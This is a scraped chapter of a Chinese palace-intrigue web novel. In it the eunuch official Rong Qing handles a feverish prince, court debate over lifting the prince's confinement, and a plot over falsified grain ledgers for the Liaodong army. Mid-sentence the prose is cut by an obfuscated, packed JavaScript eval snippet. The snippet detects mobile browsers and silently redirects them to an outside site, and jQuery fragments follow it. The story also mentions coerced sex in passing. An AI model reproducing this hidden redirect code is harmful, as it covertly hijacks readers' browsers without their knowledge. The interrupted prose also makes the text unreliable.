默认冷灰
24号文字
方正启体

9. 军粮

作者:优椛本书字数:K更新时间:
    容倾出手快、准、狠,指尖按进赵珝右肩的伤口,不轻不重,既能让对方疼,又不至于伤口开裂。


    赵珝猝不及防,登时面容扭曲,闷哼一声,身子摇晃几下,容倾趁机推开他,起了身。


    只见男人捂着右肩,在榻上缓缓蜷成一团,方才的强势荡然无存。他抬起眼,不知是不是烧糊涂了,目光涣散,却固执地在容倾的腰上打转,似乎在寻找某个能够维持他性命的东西,从唇缝挤出一丝气声:“姐姐……”


    就在这时,屏风外的脚步声骤停。容倾转过身,见来者是赵瞻,领着数位太医、僧人,绕过屏风走来。


    皇帝的目光淡淡,掠过榻上痛得发抖的儿子,落在神色平常、衣衫规整的容倾身上,不见喜怒地问:“方才还好好的,这是怎么了?”


    容倾一脸坦然,语气平稳道:“回万岁爷,五殿下怕是烧糊涂了,一时陷入梦魇,有些动静便惊悸非常,险些从榻上掉下来。臣扶殿下时急了些,碰到了伤口……依臣看,佛堂清静地,到底不是伺候人的地方,不如换一批手脚麻利的人过来,免得殿下再受什么无妄之灾。”


    “玉佩……”榻上的赵珝仿佛听不见他们的对话,陷在一片混沌之中。他盯着容倾的腰间,茫然地眨眨眼,似乎在容倾身上寻找着什么,确认无果后,他唇角微扯,露出一个近乎自嘲的笑容,认命地闭上了眼。


    “果然是烧糊涂了,尽说些旁人听不懂的胡话。”赵瞻轻笑一声,并非父亲的关心,反而觉得儿子的痛苦十分有趣一般。他不再看榻上的赵珝,自然而然地牵起容倾的手,“既然如此,便依你说的办。总得让五郎安生地把病养好才是。”


    “臣,遵旨。”容倾微微欠身。


    临走前,他还是忍不住回首瞧了一眼赵珝。只见对方不省人事,似是彻底昏睡了过去,唯有嘴唇不断翕动,似乎在说些什么,却始终没有声音发出。


    他收回目光,神色寡淡,踏出这间檀香味极重的佛堂。


    而身后佛祖慈悲依旧。


    ……


    只能说,赵珝还挺会造势。


    一出苦肉计,换得满朝议论纷纷。这帮朝臣,不论平日里如何,一旦碰上诸如“仁义”“孝悌”之事,嘴皮子格外的利索,一个个满口的圣贤话。


    容倾立在龙椅一侧,听他们从一整年的税收吵到谁谁谁丁忧期间偷睡寡妇,太阳穴突突地跳。偌大的朝廷,有时居然与乡野田间无甚区别,互骂起来,一个字比一个字脏,甚至一言不合就撩袖子。


    骂来骂去,赵瞻乏了,抬手按了按额角。


    这便是要退朝的意思了。


    容倾瞥见皇帝的示意,挂上温和谦卑的笑容,朗声道:“诸公,今日就到这儿罢。财政之事,地方的档册还未送齐,估摸也得等到年后了。至于其他的……明日再议。”


    “且慢。臣,有事禀告。”


    内阁首辅胡长庸出列,沉声道。


    “胡爱卿,何事?”赵瞻起身到一半,又坐了回去,脸上浮出一丝不喜不怒的笑,一派明君气度。


    胡长庸道:“臣听闻五殿下重病,料想殿下在辽东立下的功劳,又念及殿下孝悌忠信……陛下禁足不放,恐有不妥。”


    “不妥?爱卿,你说说看,哪有不妥?”赵瞻似笑非笑,“皇子年纪到了,不娶妻生子,为皇家开枝散叶,岂非不孝?”


    “然臣以为,此非不孝。”胡长庸语气沉着,“守疆护土,乃殿下之大孝;开枝散叶,虽必要,却并非当下最紧迫的事。殿下是功臣,若要娶妻,须得精挑细选,方能配得上殿下的功劳啊。当然,殿下当众出言无状,是罪过,如今陛下罚也罚过了,若是再罚下去,只怕诸位将士心寒。”


    胡老头的这番发言,便代表了大半文官们的态度——皇帝要做“明君”、“仁君”,对待儿子自然也得“仁”,何必为娶妻一事闹得僵硬?


    “况且,陛下,还有三日,便是吃团圆饭的日子了。”胡长庸面露感慨,“几位皇子均已就藩,陛下只剩五殿下这么一个小儿子在京,也算一种熨帖罢!”


    容倾险些笑出声。


    这老头也是奇人一个。赵瞻不喜五皇子之事满朝皆知,随着年岁渐长,这种不喜逐渐收敛了起来,但也不咸不淡,尤其是他们中间还隔着一个容倾。老头方才的一番话,都快把赵珝说出花了,也不知赵珝听了,会不会吐出来。


    以胡长庸为首的文官集团,似乎想赵珝留在京中,或者至少,想让赵珝亲近他们。毕竟这些年容倾、孟进两个权宦气焰嚣张,他们需要一个能与之抗衡的靶子。刚回京的赵珝,便是个不错的人选。


    故而胡长庸一言激起千层浪,又站出几个举重若轻的大员,力挺胡长庸。


    容倾心中嗤笑,面上仍是一派谦顺,半阖着眼,目光掠过朝臣们各色的官服,文武分列,补子上绣着禽鸟猛兽,栩栩如生,神态各异,正如同这底下站的几百人,也都是些栩栩如生的禽兽罢了。


    赵瞻在龙椅上沉默片刻,笑容仿佛刻在了脸上,看不出喜怒。他唤道:“容卿。”


    “臣在。”容倾欠身。


    “你觉得呢?”赵瞻将问题踢给了他。


    他觉得?


    他当然觉得无所谓。


    赵珝已经把火炉架好了,不论他怎么说、怎么做,文官们定然皆不满意,又撼动不得赵瞻的想法,那些指责只会落到容倾的身上。


    赵珝根本就没想让他好过。


    他也不会让赵珝好过。


    “五殿下性子自幼刚直,认定的事十头牛也拉不回来,只怕……不好办。”容倾垂眸说道,语气平静。


    “是么?”赵瞻闭上眼,缓缓起身,负手而立,“出来吃个团圆饭倒是可以,解除禁足一事……明日再议罢!”


    再议。


    便是有了可乘之机。


    容倾心里不禁稍稍佩服起赵珝,不过三年,已经学会借势而行,日后只怕……深不可测。


    他忽而意识到,赵珝的的确确是个男人了。


    一个和那些衣冠禽兽……并无两样的男人。


    退朝后,容倾并未随赵瞻回到乾清宫,而是跟在文武百官后头,预备前去东厂内署面见宋时雨。这人大清早遣人一封急信,非要见容倾,也不知查到了什么,效率倒是极快。


    他缓步走下汉白玉云梯,一身绯袍似火。沿路的官员见了他,纷纷扭过头,与同僚耳语,眼睛却始终落在他的身上。


    一个身着蟒袍的太监。


    呵。


    恨他的人,自然是用恨的目光盯着他,恨不得扒了他的衣裳,瞧一瞧里头究竟是怎样的狼心狗肺。更多的是探究、审视——值不值得拉拢他?朝廷上只谈爱恨还是太儿戏了,大多数人,所求的不过一个“利”字。至于另外一些他的入幕之宾……露水情缘,不提也罢。


    人这种东西,生而猎奇。一个有着美艳皮囊的禁/脔,甚至是皇帝的禁/脔,光是这层身份,便是大多数人的春/药。他们其中的某些人,有的还是容倾的政敌,用过不少下三滥的手段,强制品尝过几次容倾。


    宋时雨正是其中之一。


    外头风大,容倾方踏入值房,冷热交替,止不住咳了几声。长乐赶忙上前几步,将换好的暖炉塞入他手中,又用自己的手捂住他冰凉的手背,心急道:“怎么又咳了?奴婢去找大夫……”


    长乐话说到一半,忽而噎住了。容倾抬了眼,轻轻看着他,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305389|182812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸冻得苍白,笼着一层淡淡的、仿若蝉翼般通透的光晕,偏偏眼尾、鼻尖、薄唇,皆泛着病态的红……长乐真怕风一吹、日光一照,他的督主就此消融。


    “你近来……话真多。”容倾轻声道,“有事瞒着我?”


    长乐当即道:“奴婢……不敢。”冷汗浸透了衣衫。


    玉佩……


    那枚玉佩,就在他的袖子里。


    给,还是不给?


    容倾推开他的手,又咳了几声,眼角沁出一丝泪花,哑着嗓子问:“好了,别傻站这了。宋指挥使到了么?”


    “哎呦,督主大人还记得下官呢!”


    讨厌又熟悉的声音从背后响起,宋时雨仍是那副欠揍的嘴脸,他戏谑地看一眼长乐,拖长声音道:“当奴才的这般可不行,怎么能挡主子的路呢?”


    长乐脸色一变,连忙闪开了身子,让出路来。


    “闭嘴。”容倾蹙眉,对宋时雨道。


    “嘶,对不住,下官忘了这茬,该打、该打!”宋时雨嬉皮笑脸,抬手就给了自己两个巴掌,作风同外城那些地痞流氓一模一样。


    容倾懒得理他,进了值房,坐在惯常坐的圈椅上,抬起小巧精致的下颌,对宋时雨比划道:“宋指挥使,请坐罢。长乐,去沏茶来。”


    长乐“喏”了一声,咬着牙退出值房。


    “这些日子我让手下人去查,果然查出一些……不大好的东西。”见人走了,宋时雨总算稍微正起脸色,说起了正事,“督主大人,您猜怎么着?”


    容倾瞥了他一眼。


    宋时雨甩了几本账簿给他,哂笑道:“有猫腻,还是大猫腻!下官派人去查,账面做得那叫一个漂亮,连路上损耗的粮草,都清清楚楚标出来了。按这账簿,辽东军可真没饿肚子。”


    容倾缓缓翻着账簿。


    “稀奇的是……从永定河到山海关的这条路,账目千奇百怪,漏洞大得能跑马!从南边沿着运河,一路上都是督主的人,自然不会出问题,进了辽东,有五皇子、吴总兵把手……中间这段谁负责?谁担责?”


    宋时雨眸光转深,嗤笑一声。


    “要是捅了出来,督主大人和辽东军,可一个都别想兜着走!”


    容倾“啪”地一声,合上账簿。


    他全明白了。


    这根本不是什么贪腐案,而是一场阴毒的构陷。仗打赢了,事后必会复盘,此事一旦捅出来,人人甩锅,背锅的不是他容倾,便是赵珝一系的辽东军。


    ……赵珝知道此事么?或者说,插手了多少?


    宋时雨端详着他的神情,竟然一时看不出喜怒,便笑道:“督主大人可千万别玩火自焚,漕运上下就您插手得最多,一旦出了事,哎呀,下官可保不住您!”


    “哦?”容倾冷冷看他一眼,露出一个意味不明的笑,“宋指挥使这是想脱身?别以为你能独善其身,你的把柄,本督手上多着呢。”


    宋时雨闻言捂住心口,夸张道:“督主大人说的哪里话?督主要上刀山,下官便陪着上刀山;要下火海,下官也照样奉陪,只要……”他眯起眼睛,十分无赖道,“只要督主每一日都让下官一亲芳泽,就够了。”


    这人的舌头着实令人讨厌。


    容倾揉揉额角,心中杀意四起,面上依然不冷不热,起身唤道:“长乐。”


    长乐连忙进屋:“奴婢在。”


    “去将四喜叫过来。”


    “四喜?督主,这……”长乐讶异非常,抬起头看着容倾。四喜是长乐的同胞兄长,在辽东监军三年,前不久才回了东厂,任掌刑千户。


    四喜是容倾布在辽东的眼线。


    若真有此事……为何迟迟不报?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)